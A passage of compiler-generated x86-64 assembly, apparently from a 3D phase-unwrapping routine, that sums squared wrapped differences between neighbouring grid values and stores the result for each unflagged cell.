call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -96[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
mov rdx, -8
sub rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -88[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
movsx rdx, eax
mov eax, 1
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -80[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, rdx
sub rax, rcx
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -72[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
sub rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -64[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, rdx
sub rax, rcx
lea rdx, 8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -56[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
mov rdx, -8
sub rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -48[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, 1
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -40[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -32[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -16[rbp], xmm0
movsd xmm0, QWORD PTR -112[rbp]
movapd xmm1, xmm0
mulsd xmm1, xmm0
movsd xmm0, QWORD PTR -104[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -96[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -88[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -80[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -72[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -64[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -56[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -48[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -40[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -32[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -24[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -16[rbp]
mulsd xmm0, xmm0
addsd xmm0, xmm1
mov rax, QWORD PTR -128[rbp]
movsd QWORD PTR 16[rax], xmm0
.L119:
add QWORD PTR -128[rbp], 64
add QWORD PTR -120[rbp], 8
add DWORD PTR -140[rbp], 1
.L118:
mov eax, DWORD PTR -172[rbp]
sub eax, 1
cmp DWORD PTR -140[rbp], eax
jl .L120
sub QWORD PTR -128[rbp], -128
add QWORD PTR -120[rbp], 16
add DWORD PTR -144[rbp], 1
.L117:
mov eax, DWORD PTR -176[rbp]
sub eax, 1
cmp DWORD PTR -144[rbp], eax
jl .L121
mov eax, DWORD PTR -172[rbp]
add eax, eax
cdqe
sal rax, 6
add QWORD PTR -128[rbp], rax
mov eax, DWORD PTR -172[rbp]
add eax, eax
cdqe
sal rax, 3
add QWORD PTR -120[rbp], rax
add DWORD PTR -148[rbp], 1
.L116:
mov eax, DWORD PTR -180[rbp]
sub eax, 1
cmp DWORD PTR -148[rbp], eax
jl .L122
mov rax, QWORD PTR -192[rbp]
mov eax, DWORD PTR 8[rax]
cmp eax, 1
jne .L123
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -160[rbp]
add rax, rdx
mov QWORD PTR -120[rbp], rax
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rdx
sal rax, 6
mov rdx, rax
mov rax, QWORD PTR -168[rbp]
add rax, rdx
mov QWORD PTR -128[rbp], rax
mov DWORD PTR -148[rbp], 1
jmp .L124
.L128:
mov DWORD PTR -144[rbp], 1
jmp .L125
.L127:
mov rax, QWORD PTR -128[rbp]
movzx eax, BYTE PTR 25[rax]
test al, al
jne .L126
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
add rax, 8
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -112[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -96[rbp], xmm0
mov rax, QWORD PTR -120[rbp]
sub rax, 8
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -88[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
movsx rdx, eax
mov eax, 1
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
add eax, eax
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -80[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
mov rdx, -8
sub rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -72[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
sub rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -64[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov eax, DWORD PTR -172[rbp]
cdqe
lea rcx, 0[0+rax*8]
mov rax, rdx
sub rax, rcx
lea rdx, 8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
add eax, eax
cdqe
add rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -56[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -48[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, 1
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
cdqe
add rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -40[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
add eax, eax
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -32[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
mov edx, DWORD PTR -172[rbp]
movsx rdx, edx
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -24[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
mov edx, DWORD PTR -136[rbp]
movsx rdx, edx
sub rax, rdx
add rax, 1
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -16[rbp], xmm0
movsd xmm0, QWORD PTR -112[rbp]
movapd xmm1, xmm0
mulsd xmm1, xmm0
movsd xmm0, QWORD PTR -104[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -96[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -88[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -80[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -72[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -64[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -56[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -48[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -40[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -32[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -24[rbp]
mulsd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, QWORD PTR -16[rbp]
mulsd xmm0, xmm0
addsd xmm0, xmm1
mov rax, QWORD PTR -128[rbp]
movsd QWORD PTR 16[rax], xmm0
.L126:
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 6
add QWORD PTR -128[rbp], rax
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
add QWORD PTR -120[rbp], rax
add DWORD PTR -144[rbp], 1
.L125:
mov eax, DWORD PTR -176[rbp]
sub eax, 1
cmp DWORD PTR -144[rbp], eax
jl .L127
mov eax, DWORD PTR -172[rbp]
add eax, eax
cdqe
sal rax, 6
add QWORD PTR -128[rbp], rax
mov eax, DWORD PTR -172[rbp]
add eax, eax
cdqe
sal rax, 3
add QWORD PTR -120[rbp], rax
add DWORD PTR -148[rbp], 1
.L124:
mov eax, DWORD PTR -180[rbp]
sub eax, 1
cmp DWORD PTR -148[rbp], eax
jl .L128
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
add eax, eax
cdqe
add rax, rdx
sal rax, 3
lea rdx, -8[rax]
mov rax, QWORD PTR -160[rbp]
add rax, rdx
mov QWORD PTR -120[rbp], rax
mov eax, DWORD PTR -136[rbp]
movsx rdx, eax
mov eax, DWORD PTR -172[rbp]
add eax, eax
cdqe
add rax, rdx
sal rax, 6
lea rdx, -64[rax]
mov rax, QWORD PTR -168[rbp]
add rax, rdx
mov QWORD PTR -128[rbp], rax
mov DWORD PTR -148[rbp], 1
jmp .L129
.L133:
mov DWORD PTR -144[rbp], 1
jmp .L130
.L132:
mov rax, QWORD PTR -128[rbp]
movzx eax, BYTE PTR 25[rax]
test al, al
jne .L131
mov eax, DWORD PTR -172[rbp]
movsx rdx, eax
mov eax, 1
sub rax, rdx
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
sub rax, 8
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -112[rbp], xmm0
mov eax, DWORD PTR -172[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movq rbx, xmm0
mov rax, QWORD PTR -120[rbp]
movsd xmm0, QWORD PTR [rax]
mov eax, DWORD PTR -172[rbp]
cdqe
lea rdx, 0[0+rax*8]
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call wrap
movapd xmm1, xmm0
movq xmm0, rbx
subsd xmm0, xmm1
movsd QWORD PTR -104[rbp], xmm0
mov eax, DWORD PTR -136[rbp]
cdqe
sal rax, 3
neg rax
mov rdx, rax
mov rax, QWORD PTR -120[rbp]
add rax, rdx
movsd xmm0, QWORD PTR [rax]
mov rax, QWORD PTR -120[rbp]
movsd xmm1, QWORD PTR [rax]
subsd xmm0, xmm1
